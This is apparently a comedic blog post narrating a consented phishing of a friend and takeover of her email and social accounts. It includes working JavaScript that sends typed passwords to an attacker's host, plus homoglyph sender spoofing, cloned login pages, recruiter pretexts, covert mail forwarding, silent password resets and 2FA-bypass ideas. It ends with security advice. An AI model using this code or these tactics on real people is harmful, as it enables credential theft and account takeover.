I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.

Now it looks like this:

I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "[email protected]". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".

I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.

Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:

οo

Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.

So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.

I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.

How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.

I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.

Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.

I copy the existing login.live.com page, and pre-fill [email protected] in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.

Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.

https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin

Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).

Here's what the login page does:

// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }

This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.

This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.

I login to my fake "Microsoft Account Team" hotmail account, send the email to [email protected] and wait for her to have herself a red-hot browse.

About 12 hours later, I check my logs to see if she's typed her password.

She doesn't.

I wait another 12 hours.

Still nothing.

I send the email again, wincing slightly, this time saying she has 24 hours.

Still nothing.

Well damn

I guess that didn't work. She must have just ignored the email as uninteresting18

I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.

Sniper scope targeted phishing blap blap

I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.

This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.

I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.

I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.

Let's play: who's gonna send this doc to Diana?

I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.

I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.

Here's what Kathleen is going to email Diana.

Looks legit riiiight?

The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".

I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.

At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.

The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.

When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks

She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.

Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.

I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.

Waiting

That night, I check my website's logs for any passwords from my fake Hotmail login form.

- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

"Got it!"

..... is what I think, at first.

Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.

This is not her Hotmail password, and everything is terrible.

From this we can draw two conclusions:

Diana doesn't know what her Hotmail password is

She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked

I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.

By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.

I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.

My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.

What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.

I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.

Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.

I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.

Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.

Hours later

It works.

108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.

I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.

The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.

Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.

"But that would never work on me"

It would tho.

Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."

The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.

I guess what I'm saying here is "don't go shaming phishing victims plz".

Anyway sorry back to haͅck͐i̥n̏g̜

Part 4: HACKER VOICE I'M IN

I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.

The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.

In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.

I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.

An interlude from Diana

Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.

Diana doesn't reply.

Hey remember how you can search email?

Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.

Try going to your email and searching for "password". Betcha there's passwords in there.

In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.

This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.

To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order

Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.

Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.

I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.

At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".

I panic a little. Have I been found out? I log in to [email protected] (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to [email protected] (presumably the new email that Diana now forwards all her mail to).

This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?

(When I interview her after all this, she says yes, that's exactly what she did.)

What now?

Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.

But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called

Operation Luigi

Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.

Why not brighten up YOUR social media presence with this game boy?

Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.

Step 1: Get in to her Twitter and LinkedIn

So, I want to:

Get access to Diana's Twitter

Not lock Diana out

Not alert Diana that I'm up in her stuff

I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.

Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.

I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.

Wait until Diana is asleep

Disable Diana's email forwarding

Go to Twitter and reset her password

Click the password reset link that gets emailed to her

Set her password to qwerty1

Delete the password reset email

Delete the "New Twitter Sign In" email

Re-enable email forwarding

The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.

I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.

Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.

As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.

Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.

Astute readers will have noticed this little guy in the screenshot above.

LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".

Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.

Step 2: Bring in the green boys

I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.

I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:

At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.

Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.

For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.

Well that just about wraps up Operation Luigi. Glad that's all done and dusted.

Although...

I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do

~one more thing~

Operation Waluigi: A dark turn for mature audiences

Waluigi, true to his character, is much more direct.

Damn RIGHT this new profile strength is "Advanced."

Please enjoy these half-baked opsec-enabled26 tweets27.

I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.

Part 5: Epilogue

Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.

I meet up with her and ask her about her side of the story a few days later.

Here are some choice quotes:

"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"

I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.

When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.

"You catfished me!"

We go back to the same ramen place after the interview. The credits roll.

"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"

Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.

Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.

Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.

Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.

If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:

Phish the code as well as the password (but the code expires in less than 60 seconds)

Physically go to the same place as her, connect to the same WiFi, and steal her browser session

Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it

Call up her phone provider and trick them into pointing her phone number at my SIM card

All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.

Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io

If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone

A careless mistake ↩︎

Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎

I found her LinkedIn by just googling her name #pwned ↩︎

wait did he just say "hacker voice I'm in"? ↩︎

I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎

On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎

Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎

I'm not making these up, these are real words that real hackers use I swear. ↩︎

Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎

tag urself lol ↩︎

I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎

low ↩︎

effort ↩︎

From 2002 do NOT @ me ↩︎

This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎

I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎

Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎

There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎

When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎

Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎

This is a genius suggestion from one of my ~hacker connections~. ↩︎

At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎

I mean it WOULD be pretty funny ↩︎

And wow you could do anything, book flights, get a job, change your name... ↩︎

Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎

If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎

Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎

Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎

But, this is less secure, since your phone number can still be hijacked. ↩︎

#luigi waluigi

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